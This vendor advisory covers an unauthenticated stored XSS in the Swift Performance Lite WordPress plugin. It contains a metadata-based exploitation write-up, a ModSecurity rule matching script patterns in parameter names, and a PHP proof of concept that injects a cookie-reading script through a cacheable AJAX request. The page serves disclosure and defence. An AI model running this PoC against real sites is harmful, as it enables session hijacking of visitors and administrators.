Published : November 24, 2026

CVE-2026-124976: Swift Performance Lite <= 2.3.7.5 Unauthenticated Stored Cross-Site Scripting via Parameter Name in Cacheable AJAX Action Request PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.3.7.5
Patched Version —
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-124976 (metadata-based): This is a stored cross-site scripting vulnerability in the Swift Performance Lite WordPress plugin, versions up to and including 2.3.7.5. The flaw resides in the plugin’s AJAX Cache feature, which allows administrators to mark specific AJAX actions as cacheable. An unauthenticated attacker can inject a script payload via the name of an arbitrary request parameter sent to a cacheable AJAX action. The CVSS score is 7.2 (High) with a scope change, indicating that a successful exploit can affect resources beyond the vulnerable component, namely site visitors’ browsers.

Root Cause: The plugin fails to sanitize parameter names before storing them in its cache and later outputting them in a page context. CWE-79 confirms improper neutralization of input during web page generation. Atomic Edge analysis infers that the plugin caches the full request, including parameter names, and later includes those names in an HTML response without escaping. The description explicitly states “insufficient input sanitization and output escaping,” which confirms the general class but does not confirm the exact code path. The requirement that an administrator must have configured at least one Cacheable AJAX Action is confirmed by the description and is a key precondition.

Exploitation: An attacker first probes the target site by sending a request to a known cacheable AJAX action (or by discovering one through enumeration) and observing a “swift-performance: HIT” response header, which indicates the AJAX cache is active. The attacker then crafts a request to admin-ajax.php with an action parameter set to the cacheable action and adds a parameter whose name contains a malicious script payload, for example `alert(document.cookie)`. The request is sent without authentication. The plugin caches the request, including the tainted parameter name, and serves it to subsequent visitors. When a victim loads a page that triggers the same cached AJAX action, the script executes in the victim’s browser. The exact parameter that triggers the vulnerability is not named in the metadata; it is any attacker-chosen parameter name, as the title states. The endpoint is /wp-admin/admin-ajax.php with the action parameter matching a configured cacheable action.

Remediation: The patched version 2.3.7.6 likely adds output escaping for parameter names before they are rendered in cached responses, or sanitizes parameter names before caching. Atomic Edge research infers that the fix involves validating parameter names against a safe character set (e.g., alphanumeric and underscores) and applying HTML escaping when outputting cached data. Since no code diff is available, this is an inference from the CWE and description. Administrators should update to 2.3.7.6 or later and review which AJAX actions are marked as cacheable.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of any user visiting an affected page, including administrators. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The scope change (S:C) reflects that the vulnerable component (the plugin) can affect the security of other components (the victim’s browser). The CVSS vector shows low confidentiality and integrity impact and no availability impact, but the practical risk is high due to the stored nature and unauthenticated access.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-124976 (metadata-based)
# This rule blocks requests to admin-ajax.php with a parameter name containing HTML tags or script indicators,
# scoped to requests that include an action parameter (any action). However, since the vulnerable parameter
# name is attacker-chosen and the action is not specified in metadata, this rule uses a generic XSS pattern
# in parameter names. To reduce false positives, we require that the request also has a 'swift-performance' header
# or is to admin-ajax.php with a POST method. The rule is narrow: it only inspects ARGS_NAMES for common XSS patterns.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:2026124976,phase:2,deny,status:403,chain,msg:'CVE-2026-124976: Stored XSS via parameter name in Swift Performance Lite AJAX cache',severity:'CRITICAL',tag:'CVE-2026-124976'"
    SecRule REQUEST_METHOD "@streq POST" "chain"
        SecRule ARGS_NAMES "@rx <script|onerror|onload|javascript:|alert(" 
            "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-124976 - Swift Performance Lite <= 2.3.7.5 - Unauthenticated Stored XSS via Parameter Name in Cacheable AJAX Action Request

// This PoC assumes the attacker knows (or can guess) a cacheable AJAX action configured by the administrator.
// The probe for the swift-performance: HIT header helps confirm the AJAX cache is active.

$target_url = 'http://example.com'; // Change to the target WordPress site

// Step 1: Probe a common AJAX action (replace with a known cacheable action if discovered)
// This step is optional but helps confirm cache activity.
$probe_action = 'get_recent_posts'; // Example; attackers would enumerate or use a known action
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['action' => $probe_action]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$headers = curl_getinfo($ch, CURLINFO_HEADER_OUT);
curl_close($ch);

if (stripos($response, 'swift-performance: HIT') !== false) {
    echo "[+] AJAX cache is active (HIT header detected).n";
} else {
    echo "[-] No HIT header, but proceeding (cache may still be active for other actions).n";
}

// Step 2: Inject a parameter with an XSS payload in its name.
// The payload is placed as a parameter name, e.g., <script>alert(1)</script>=value
// The plugin caches the request and later renders the parameter name without escaping.
$malicious_param_name = '<script>alert(document.cookie)</script>';
$payload = [
    'action' => $probe_action, // Use a cacheable action; adjust as needed
    $malicious_param_name => 'test' // The parameter name contains the script
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] Injection request sent. HTTP status: $http_coden";
echo "[*] If the action is cacheable, the payload may be stored. Visit a page that uses this AJAX action to trigger.n";

// Note: The exact cacheable action and parameter rendering context are not specified in the metadata.
// Attackers would need to discover a valid cacheable action, for example by observing network traffic
// or through enumeration. The PoC demonstrates the injection technique.

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.